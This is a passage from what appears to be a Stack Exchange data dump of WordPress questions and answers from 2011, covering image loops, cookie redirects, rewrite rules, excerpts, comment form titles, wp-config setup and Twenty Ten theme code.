go?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See link to Codex above, you should have database created, etc.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I get the username and password to login to the admin panel so I can build the site? And what url do I go to to login?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Trying to visit site with freshly uploaded WordPress files will redirect you to &lt;code&gt;install.php&lt;/code&gt; that will guide you through initial configuration. Initial setup should have link to admin area in theme sidebar, you can also always go there by visiting &lt;code&gt;/wp-admin/&lt;/code&gt; URL.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-06T23:19:54.447" CommentCount="2" />
  <row Id="25176" PostTypeId="1" AcceptedAnswerId="25178" CreationDate="2011-08-06T23:28:11.123" Score="0" ViewCount="21" Body="&lt;p&gt;I want to specify for the images of my post - if is number x, output this, else if is number y output this instead, etc.  I'm trying make specific treatments to my 1st, 4th, 9th images for that post.  This code below is the code i'm using to just simply output all of my images for the post.  Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $images = get_post_meta($post-&amp;gt;ID, 'rw_postpage_images');  ?&amp;gt;&#xA;&amp;lt;?php foreach ($images as $att) {&#xA;$src = wp_get_attachment_image_src($att, 'full');&#xA;$src = $src[0]; &#xA;$image_path =  thumbGen($src,80,80,&quot;crop=1&amp;amp;halign=center&amp;amp;valign=center&amp;amp;return=1&quot;);&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;post_item&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;small&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $image_path; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; width=&quot;80&quot;  height=&quot;80&quot;/&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5698" LastActivityDate="2011-08-06T23:53:39.007" Title="Specify what to do for a specific image number of the post" Tags="&lt;images&gt;&lt;image&gt;" AnswerCount="2" />
  <row Id="25177" PostTypeId="2" ParentId="24885" CreationDate="2011-08-06T23:36:41.597" Score="1" ViewCount="" Body="&lt;p&gt;My final solution...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cookie_redirect() {&#xA;&#xA;    // THE PAGE SLUG, YOU WANT TO BE REDIRECTED TO, WHEN THERE IS NO COOKIE&#xA;    $pageslug = &quot;about-myself&quot;;&#xA;&#xA;    // THE COOKIE NAME&#xA;    $cookie_name = &quot;thecookiemonster&quot;;&#xA;&#xA;    // CHECK IF YOUR COOKIE IS SET&#xA;    if (!isset($_COOKIE[$cookie_name])) {&#xA;&#xA;       // SINCE THERE IS NO COOKIE, THEN SET IT&#xA;       setcookie( $cookie_name, 1, time()+1209600, SITECOOKIEPATH, COOKIE_DOMAIN, false, true);&#xA;&#xA;        // GRABS THE CURRENT PAGE NAME - THIS IS ALSO KNOWN AS THE PAGE/POST SLUG&#xA;        $pagename = get_query_var('pagename');&#xA;&#xA;        // MAKE SURE YOU ARE NOT AT THE PAGE YOU WANT TO BE DIRECTED TO, PREVENTS LOOP&#xA;        if( $pagename != $pageslug) {&#xA;            // REDIRECT US&#xA;            wp_redirect( get_site_url() . '/' . $pageslug ); exit;&#xA;        } else {&#xA;&#xA;        }&#xA;&#xA;    } else {&#xA;&#xA;&#xA;    }&#xA;}&#xA;add_action( 'init', 'cookie_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-08-06T23:36:41.597" />
  <row Id="25178" PostTypeId="2" ParentId="25176" CreationDate="2011-08-06T23:48:36.650" Score="0" ViewCount="" Body="&lt;p&gt;set a counter variable outside the foreach, check its value in each iteration and output corresponding markup, then increment it at the end for the next iteration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$images = get_post_meta($post-&amp;gt;ID, 'rw_postpage_images');&#xA;// set a counter&#xA;$image_counter = 1;&#xA;foreach ($images as $att) :&#xA;    $src = wp_get_attachment_image_src($att, 'full');&#xA;    $src = $src[0]; &#xA;    $image_path =  thumbGen($src,80,80,&quot;crop=1&amp;amp;halign=center&amp;amp;valign=center&amp;amp;return=1&quot;);&#xA;    // check the counter&#xA;    if( $imagecounter == 1 ) :&#xA;        // output markup for first image&#xA;    elseif( $imagecounter == 4 ):&#xA;        // output markup for fourth image&#xA;    elseif( $imagecounter == 9 ):&#xA;        // output markup for ninth image&#xA;    else :&#xA;        // markup for all the others&#xA;    ?&amp;gt;&#xA;        &amp;lt;div class=&quot;post_item&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php echo $image_path; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; width=&quot;80&quot;  height=&quot;80&quot;/&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;    endif;&#xA;    // increment the counter&#xA;    $imagecounter++;&#xA;endforeach;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put comments in there where markup would go to keep things shorter. just put whatever markup you want output there for that particular position similar to the last &lt;code&gt;else:&lt;/code&gt; block.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-06T23:48:36.650" CommentCount="1" />
  <row Id="25179" PostTypeId="2" ParentId="25176" CreationDate="2011-08-06T23:53:39.007" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;foreach ($images as $n=&amp;gt;$att){&#xA;    //some code&#xA;    if (in_array($n, array(0,3,8)){&#xA;         //do this&#xA;    } else {&#xA;         //do something entirely different&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-06T23:53:39.007" />
  <row Id="25180" PostTypeId="2" ParentId="25172" CreationDate="2011-08-07T00:25:29.860" Score="1" ViewCount="" Body="&lt;p&gt;By 'existing page' do you mean a WordPress page? My experience with rewrites is routing everything to index.php with whatever extra query vars you need, I think attempting to route it to &lt;code&gt;edit&lt;/code&gt; is one of your issues, not entirely clear on your intent there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go download &lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;Monkeyman Rewrite Analyzer&lt;/a&gt; if you don't already have it, it's a great tool for testing these things out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested out the following rule to verify it works. All requests to &lt;code&gt;/edit/*&lt;/code&gt; load a page named 'edit', &lt;code&gt;get_query_var('e')&lt;/code&gt; returns the correct value for &lt;code&gt;e&lt;/code&gt; in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I didn't flush the rules here, I usually just visit the &lt;code&gt;Settings &amp;gt; Permalinks&lt;/code&gt; page and click save to flush whenever I change them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;add_action( 'init', 'my_rewrites_init' );&#xA;function my_rewrites_init(){&#xA;    add_rewrite_rule(&#xA;        'edit/([^/]+)/?',&#xA;        'index.php?pagename=edit&amp;amp;e=$matches[1]',&#xA;        'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'my_query_vars' );&#xA;function my_query_vars( $query_vars ){&#xA;    $query_vars[] = 'e';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-08-07T00:43:19.763" LastActivityDate="2011-08-07T00:43:19.763" CommentCount="1" />
  <row Id="25181" PostTypeId="2" ParentId="25158" CreationDate="2011-08-07T00:27:07.537" Score="1" ViewCount="" Body="&lt;p&gt;&quot;For both of these sites, I might want to add things, take things away, change things, etc&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like you need a general CMS (Content Management System). From what I can tell, Wordpress would be a very good choice, it's by far the best CMS usability wise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;And I would like a quick way to make the sites look good visually.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpresses theming system is a very intuitive and easy way to change the visual properties of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a pretty good sense of the Content Management Systems out there I'd say that - Yes, Wordpress is a perfect match.&lt;/p&gt;&#xA;" OwnerUserId="6325" LastActivityDate="2011-08-07T00:27:07.537" />
  <row Id="25182" PostTypeId="1" CreationDate="2011-08-07T01:35:20.310" Score="0" ViewCount="33" Body="&lt;p&gt;i have a category list from a-z and under each one is a sub category so im trying to have it to if i click lets say category &quot;T&quot; everything from category T will display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what I have and I really have no idea what to do from here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        $(document).ready(function(){&#xA;            $.ajaxSetup({cache:false});&#xA;            $(&quot;li .cat-item a&quot;).click(function(){&#xA;                var post_id = $(this).attr(&quot;rel&quot;)&#xA;                $(&quot;.sub-cat-title&quot;).html(&quot;loading...&quot;);&#xA;/*right here is where im lost new list would be the file name but i dont think new-list.php would be the correct way to use that*/&#xA;    $(&quot;.sub-cat-title&quot;).load(&quot;http://&amp;lt;?php echo $_SERVER[HTTP_HOST]; ?&amp;gt;/new-list/&quot;,{id:cat_id});&#xA;                return false;&#xA;            });&#xA;        });&#xA;        &amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;sideBarContents&quot;&amp;gt;&#xA;    /*here is the cat list that you click on*/&amp;lt;?php wp_list_categories('hide_empty=0&amp;amp;depth=1&amp;amp;exclude=1,124,123&amp;amp;title_li='); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;sidebar-side1&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;select-a&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;  $cats = get_the_category($post-&amp;gt;ID);&#xA;  foreach($cats as $cat) {&#xA;  $pages = get_categories('sort_order=asc&amp;amp;hide_empty=0&amp;amp;child_of=' . $cat-&amp;gt;term_id); &#xA;  foreach ($pages as $pagg) {&#xA;  $option = $pagg-&amp;gt;name; &#xA;  //here is where things are displayed&#xA;  echo '&amp;lt;li class=&quot;sub-cat-title&quot;&amp;gt;&amp;lt;a&amp;gt;'.$option.'&amp;lt;/a&amp;gt;'; ?&amp;gt;&#xA;&amp;lt;?php echo '&amp;lt;/li&amp;gt; '; }} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-07T01:35:20.310" Title="get category list using ajax" Tags="&lt;categories&gt;&lt;ajax&gt;" />
  <row Id="25183" PostTypeId="1" CreationDate="2011-08-07T01:40:56.527" Score="0" ViewCount="28" Body="&lt;p&gt;I want to add &lt;strong&gt;read more&lt;/strong&gt; to a blog. For that I need to replace the function &lt;code&gt;the_content()&lt;/code&gt;. I found it in the loop file and replaced it with &lt;code&gt;the_excerpt()&lt;/code&gt; but still posts are being shown of full length. Please help out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://pricelessproject.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the site. The read more is added now(I replaced all the occurences of the_content with the_excerpt). It gave rise to a new problem. All the links on the page are not working correctly. Please have a look.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2238" LastEditorDisplayName="" LastEditDate="2011-08-07T02:33:07.883" LastActivityDate="2011-08-07T02:33:07.883" Title="Problem in replacing the_content with the_excerpt()" Tags="&lt;php&gt;&lt;loop&gt;&lt;the-loop&gt;&lt;the-content&gt;&lt;the-excerpt&gt;" AnswerCount="1" />
  <row Id="25184" PostTypeId="2" ParentId="25183" CreationDate="2011-08-07T02:15:14.850" Score="1" ViewCount="" Body="&lt;p&gt;Are you sure you have replaced it in the correct template file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a useful way to tell by adding this to the functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    add_action( 'wp_head', 'adminbar_print_template' );&#xA;function adminbar_print_template() {&#xA;    global $template, $current_user, $wp_admin_bar;&#xA;&#xA;    get_currentuserinfo();&#xA;        /* If you have more than one user deny. Be sure to use your user ID! */&#xA;    if ( !is_user_logged_in() &amp;amp;&amp;amp; $current_user-&amp;gt;ID != '1' )&#xA;        return;&#xA;    if ( is_admin_bar_showing() )&#xA;        $wp_admin_bar-&amp;gt;add_menu( array(&#xA;            'parent' =&amp;gt; false,&#xA;            'id' =&amp;gt; 'template',&#xA;            'title' =&amp;gt; $template,&#xA;            'href' =&amp;gt; '#'&#xA;        ));&#xA;    else&#xA;        print_r( $template );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have the Show Admin Bar settings set to &quot;show when viewing site&quot;, it will output the current template file being used on the page you are viewing. Another possibility could be that your theme uses a loop.php file, and you will need to modify it for the excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TIP:&lt;/strong&gt;&#xA;Add this to your functions.php file so the &quot;Read More&quot; tags are actually links to the posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   function new_excerpt_more($more) {&#xA;   global $post;&#xA;   return '… &amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;' . 'Read More &amp;amp;raquo;' . '&amp;lt;/a&amp;gt;';&#xA;   }&#xA;   add_filter('excerpt_more', 'new_excerpt_more');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-07T02:15:14.850" CommentCount="4" />
  <row Id="25185" PostTypeId="1" CreationDate="2011-08-07T02:50:14.807" Score="-1" ViewCount="25" Body="&lt;p&gt;How can i order my images by 'menu_order' with my code below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = get_post_meta($post-&amp;gt;ID, 'rw_postpage_images'); &#xA;$image_counter = 0;&#xA;foreach ($images as $att) :&#xA;$src = wp_get_attachment_image_src($att, 'full');&#xA;$src = $src[0]; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5698" LastActivityDate="2011-08-07T02:50:14.807" Title="Order images by menu_order" Tags="&lt;images&gt;&lt;image&gt;" CommentCount="1" />
  <row Id="25186" PostTypeId="1" AcceptedAnswerId="25245" CreationDate="2011-08-07T03:21:35.500" Score="-1" ViewCount="75" Body="&lt;p&gt;This website: &lt;a href=&quot;http://www.ericpaulsnowden.com&quot; rel=&quot;nofollow&quot;&gt;http://www.ericpaulsnowden.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The website is done in Wordpress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loads pages and posts dynamically with AJAX/jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-07T19:59:07.910" Title="How to load whole Wordpress pages dynamically with AJAX/jQuery like this following website?" Tags="&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25187" PostTypeId="2" ParentId="13707" CreationDate="2011-08-07T03:22:38.680" Score="1" ViewCount="" Body="&lt;p&gt;Another option would be to use a shortcode. The &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;Wodrpess Codex&lt;/a&gt; talks through all the specifics. But basically setup a function that returns your variable. Add the shortcode to wordpress, then call &lt;code&gt;do_shortcode( '[shortcode]' )&lt;/code&gt; inside your PHP code and you can echo it or store it to process it more. You can use use the shortcode inside content.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-08-07T03:22:38.680" />
  <row Id="25188" PostTypeId="1" CreationDate="2011-08-06T02:26:17.290" Score="0" ViewCount="20" Body="&lt;p&gt;I'm looking to change the comments form title (my theme defaults this to &quot;Leave a Comment&quot; or &quot;Leave a reply to&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought perhaps I could add a hook to comment_form_defaults but my snippet below isn't working... any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;add_filter('comment_form_defaults', 'askQuestion');&#xA;&#xA;function askQuestion($defaults) {&#xA;  $defaults['title_reply'] = 'Ask a Question';&#xA;  $defaults['title_reply_to'] = 'Your text %s';&#xA;  return $defaults;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is being added to the HTML editor of the page editor within wordpress. We  are using the ExecPHP plugin to compile  code within posts/pages. We are looking for a way to do this on just this page, not every comment form on our blog.&lt;/p&gt;&#xA;" OwnerUserId="3811" LastActivityDate="2011-08-07T04:51:23.433" Title="Change default comments form title" Tags="&lt;php&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25189" PostTypeId="2" ParentId="25188" CreationDate="2011-08-06T07:23:46.127" Score="0" ViewCount="" Body="&lt;p&gt;Please be clear for what u need to ask. As i approach to your query.you should first login to your admin panel.now click on appearance and then click editor option.here comes all the files of your theme directory.Look for comment.php. Just open it up and look for default message.Now this is the place where you can replace your own custom message.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-06T07:23:46.127" CommentCount="1" />
  <row Id="25190" PostTypeId="1" CreationDate="2011-08-07T05:53:42.937" Score="-1" ViewCount="29" Body="&lt;p&gt;I am using WP 3.2.1 and I'm trying to use the Simple Fields (0.3.9) plugin. Going off of &lt;a href=&quot;http://eskapism.se/code-playground/simple-fields/tutorial/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;, it looks like there should be a &quot;Simple Fields admin&quot; page somewhere in the dashboard, but I cannot find this.&lt;/p&gt;&#xA;" OwnerUserId="2835" LastActivityDate="2011-08-07T09:16:46.540" Title="Simple Fields plugin -- where is it?" Tags="&lt;plugin-simple-fields&gt;" AnswerCount="1" />
  <row Id="25192" PostTypeId="1" AcceptedAnswerId="25196" CreationDate="2011-08-07T08:34:30.997" Score="0" ViewCount="30" Body="&lt;p&gt;Setting up WordPress, I'm getting the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Sorry, but I can't write the wp-config.php file.&#xA;&quot;You can create the wp-config.php manually and paste the following text into it.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do I copy-paste the text into a file and upload that to the server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If yes to question 1, to create the file, is Text Wrangler an appropriate program to use? (I use a Mac)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If Text Wrangler is an appropriate program, in saving the file, would I choose &quot;Line breaks: Unix (LF)&quot; and &quot;Encoding: Unicode (UTF-8)&quot; and would I manually add &quot;.php&quot; to the file name when I save it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The text that WordPress is giving me to paste into wp-config.php includes comments such as:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*&#xA;  * This file is used by the wp-config.php creation script during the&#xA;  * installation. You don't have to use the web site, you can just copy this file&#xA;  * to &quot;wp-config.php&quot; and fill in the values.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/**#@+&#xA;  * Authentication Unique Keys and Salts.&#xA;  *&#xA;  * Change these to different unique phrases!&#xA;  * You can generate these using the {@link &lt;a href=&quot;https://api.wordpress.org/secret-key/1.1&quot; rel=&quot;nofollow&quot;&gt;https://api.wordpress.org/secret-key/1.1&lt;/a&gt;&gt;/salt/ WordPress.org secret-key service}&#xA;  * You can change these at any point in time to invalidate all existing cookies. This &gt;will force all users to have to log in again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...do I just copy all this into the file wp-config.php and upload it to the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T09:03:34.537" Title="Creating the wp-config.php file manually" Tags="&lt;wp-config&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25193" PostTypeId="1" CreationDate="2011-08-07T08:35:52.367" Score="0" ViewCount="9" Body="&lt;p&gt;I am having some problems while displaying a gallery on my home page. When there is a gallery showing, the left-hand navigation and posts below it will disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My loop.php file has  been edited as per &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19799/more-tag-doesnt-appear-when-browsing-category-achives-or-search&quot;&gt;this&lt;/a&gt; thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this happens? Any at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code; loop.php:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The loop that displays posts.&#xA; *&#xA; * The loop displays the posts and the post content.  See&#xA; * http://codex.wordpress.org/The_Loop to understand it and&#xA; * http://codex.wordpress.org/Template_Tags to understand&#xA; * the tags used in it.&#xA; *&#xA; * This can be overridden in child themes with loop.php or&#xA; * loop-template.php, where 'template' is the loop context&#xA; * requested by a template. For example, loop-index.php would&#xA; * be used if it exists and we ask for the loop with:&#xA; * &amp;lt;code&amp;gt;get_template_part( 'loop', 'index' );&amp;lt;/code&amp;gt;&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if ( $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;nav-above&quot; class=&quot;navigation&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older posts', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-above --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* If there are no posts to display, such as an empty archive page */ ?&amp;gt;&#xA;&amp;lt;?php if ( ! have_posts() ) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-0&quot; class=&quot;post error404 not-found&quot;&amp;gt;&#xA;        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php _e( 'Not Found', 'twentyten' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #post-0 --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    /* Start the Loop.&#xA;     *&#xA;     * In Twenty Ten we use the same loop in multiple contexts.&#xA;     * It is broken into three main parts: when we're displaying&#xA;     * posts that are in the gallery category, when we're displaying&#xA;     * posts in the asides category, and finally all other posts.&#xA;     *&#xA;     * Additionally, we sometimes check for whether we are on an&#xA;     * archive page, a search page, etc., allowing for small differences&#xA;     * in the loop on each template without actually duplicating&#xA;     * the rest of the loop that is shared.&#xA;     *&#xA;     * Without further ado, the loop:&#xA;     */ ?&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display posts of the Gallery format. The gallery category is the old way. */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( ( function_exists( 'get_post_format' ) &amp;amp;&amp;amp; 'gallery' == get_post_format( $post-&amp;gt;ID ) ) || in_category( _x( 'gallery', 'gallery category slug', 'twentyten' ) ) ) : ?&amp;gt;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&#xA;                &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-meta --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&amp;lt;?php if ( post_password_required() ) : ?&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $images = get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'numberposts' =&amp;gt; 999 ) );&#xA;                    if ( $images ) :&#xA;                        $total_images = count( $images );&#xA;                        $image = array_shift( $images );&#xA;                        $image_img_tag = wp_get_attachment_image( $image-&amp;gt;ID, 'thumbnail' );&#xA;                ?&amp;gt;&#xA;                        &amp;lt;div class=&quot;gallery-thumb&quot;&amp;gt;&#xA;                            &amp;lt;a class=&quot;size-thumbnail&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $image_img_tag; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- .gallery-thumb --&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;&amp;lt;?php printf( _n( 'This gallery contains &amp;lt;a %1$s&amp;gt;%2$s photo&amp;lt;/a&amp;gt;.', 'This gallery contains &amp;lt;a %1$s&amp;gt;%2$s photos&amp;lt;/a&amp;gt;.', $total_images, 'twentyten' ),&#xA;                                'href=&quot;' . get_permalink() . '&quot; title=&quot;' . sprintf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) . '&quot; rel=&quot;bookmark&quot;',&#xA;                                number_format_i18n( $total_images )&#xA;                            ); ?&amp;gt;&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;!--&amp;lt;?php the_excrept(); ?&amp;gt;--&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&#xA;            &amp;lt;?php if ( function_exists( 'get_post_format' ) &amp;amp;&amp;amp; 'gallery' == get_post_format( $post-&amp;gt;ID ) ) : ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo get_post_format_link( 'gallery' ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php esc_attr_e( 'View Galleries', 'twentyten' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'More Galleries', 'twentyten' ); 